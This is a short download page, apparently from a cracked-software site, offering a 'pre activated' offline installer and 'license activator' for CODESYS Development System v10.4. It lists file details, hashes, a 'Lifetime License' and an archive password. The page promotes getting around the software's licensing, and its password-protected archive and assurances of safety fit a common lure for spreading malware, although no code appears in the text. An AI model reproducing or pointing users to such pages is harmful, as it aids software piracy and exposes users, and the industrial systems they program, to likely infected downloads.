Updated & Tested Working Guide (2026)
Download the latest full build, offline installer and license activator safely.
Download Installer Package| File Name | CODESYS_Development_System_v10.4_x64_setup.zip |
| Version | v10.4.9548 build 12791 |
| File Size | 2.79 GB (2853 MB) |
| MD5 Hash | 297591c72e1a9c2bd73a28c908d6b732 |
| SHA-256 | d3b998808a51255165f9fec5c04ae679d927e9482468079a5a0251e28e710ed9 |
| Release Date | 2026-07-17 |
| Platform | Windows 10 / 11 (x64) |
| Archive Password | mirror2026 |
| License Type | Lifetime License |
Looking for a working CODESYS Development System pre activated offline installer? Our verified software database provides the latest updated builds, activation methods, and setup manuals designed to get your tools running in minutes without unnecessary hassle.